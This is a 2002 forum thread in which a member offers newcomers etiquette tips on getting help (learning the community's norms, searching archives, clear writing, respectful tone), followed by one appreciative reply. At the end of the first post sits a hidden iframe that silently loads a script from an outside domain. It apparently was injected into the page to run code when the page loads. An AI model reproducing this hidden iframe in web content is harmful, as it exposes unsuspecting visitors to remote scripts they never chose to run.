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  1. #1
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    06-11-2002
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    Newbies: Freindly Suggestions on Getting Help from Members

    [color=darkblue:01105619f1][size=24:01105619f1]A couple of points on scoring points.[/size:01105619f1][/color:01105619f1]
    [color=violet:01105619f1][size=9:01105619f1]nobody asked me, but here it is anyway...[/size:01105619f1][/color:01105619f1][color=darkblue:01105619f1]
    Just as in different parts of the “Real World,” various areas of cyberspace have significant differences in cultural & communication standards. When in conversation sitting face to face, we all use a combination of communication methods in addition to our words; tone of voice, gesticulation, and facial expression all play an important, if often subconscious, part in understanding each other. Without these tools, it becomes much more difficult to try and understand someone when they ask you a question. If the person is a stranger to you, it’s obviously harder still. Is it because you don’t want to understand them? Of course not. But in the absence of other cues, small deviations from expected standards can easily seem amplified at the other end of the wire, resulting in serious communication/perception problems. Even (or perhaps especially) small things that would never be noticed when meeting someone in person.

    If someone with a speech impediment stopped me on a street corner, I could look at their facial expression, their body language, even things like the manner of dress and what they may have in their hand, and quickly decide if I should stop and take the time to try and understand the person's question, or if I would feel it more prudent to run away. There could be situations where either decision makes sense. Knowing this, when I stop a stranger on the street, I am mindful of how I may appear to that person. I want to do what I can to convey that it will be both safe and gratifying to stop and assist me. Is it because I have a twisted sense of personal worth and I want everyone to love me? Maybe. But really, it’s simple pragmatism – I want to successfully and expeditiously get answers to my questions.



    [size=18:01105619f1]So the question is:[/size:01105619f1]
    [size=24:01105619f1]What can I do to make it seem worthwhile to a stranger to stop and help me? [/size:01105619f1]

    [size=18:01105619f1]First – [/size:01105619f1]I can try to familiarize myself with the "neighborhood" and how the people there are accustomed to communicating. I can't ever learn everything I want to know by silently observing and not getting involved, but it's an important way to start. I think about it like when someone from another country tries to get my attention in English, even if they don’t speak English hardly at all. The fact that they put forth the effort to spit out “Excuse Me” in my native language helps me feel comfortable putting forth some effort on my part to help.

    [size=18:01105619f1]Second – [/size:01105619f1]

    I can work to pose my question in the most clear and thoughtful manner possible. I want to be concise but also specific, including any details that might be informative. (Personally, as you may have already guessed, my problem is making my question too long, which makes it difficult for well-intentioned people to wade through and figure out what I want. Sometimes it looks to people like too much work!)



    [size=18:01105619f1]2a) Research –[/size:01105619f1]
    Almost always, someone else has already had the same problem I’m having and has asked for help. And usually, the answer that person was given contains everything I need to know myself. if my question has already been answered, the fastest way for me to get that answer isn't to get someone to tell me directly, but to search the archives and read a bit. I won't generally hit what I want on the first try, but I may learn something more about the appropriate context of my question, and even if I never turn up the answer I needed, I will often find that my question has changed. And that gives me the opportunity to make clear in my question that I have taken some time to work on this. If it's not worth my time to figure this out, how can I expect a stranger to devote [i:01105619f1]their[/i:01105619f1] time?



    [size=18:01105619f1]2b) Attention to Detail - [/size:01105619f1]
    Much of this is related to the question above - if I don't take the time to pose my question thoughtfully, with some attention paid to grammar and spelling, I risk leaving the impression that it wasn't worth my time - and therefore why would it be worth the time of anyone else?



    [size=18:01105619f1]2c) TONE –[/size:01105619f1]
    And while many communication tools are absent from typed text, remember the amplification effect on those things that do come across. Your spelling might be award-winning, but if your tone seems curt or demanding, or in some other way unrespectful, you will give the impression that you won't appreciate the value of an answer anyway. Even an attitude that's overly passive and self-deprecating can have a similar effect. Most people do want to help others and in fact enjoy the opportunity, but won't even try if they suspect their effort will be wasted.



    The internet is not a spelling bee, a typing test, or a 5th grade popularity contest. Nobody thinks that it is. There are no rules, and no absolutes. These are suggestions that may help you overcome some of the communication obstacles that are there for us all. Feel free to ignore everything I have written here, but if you’re not being understood or appreciated, remember how little people have to go on, and don’t whine about how clique-ish or demanding other people are. That never works.

    [/color:01105619f1]<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Registered User
    Join Date
    03-01-2002
    Posts
    442

    suggestion

    excellent!

    well thought &amp; written.

    it would be great if we had one of these directed at the "residents" that helps us figure out how to be patient and work together.

    thanx for the thoughts.


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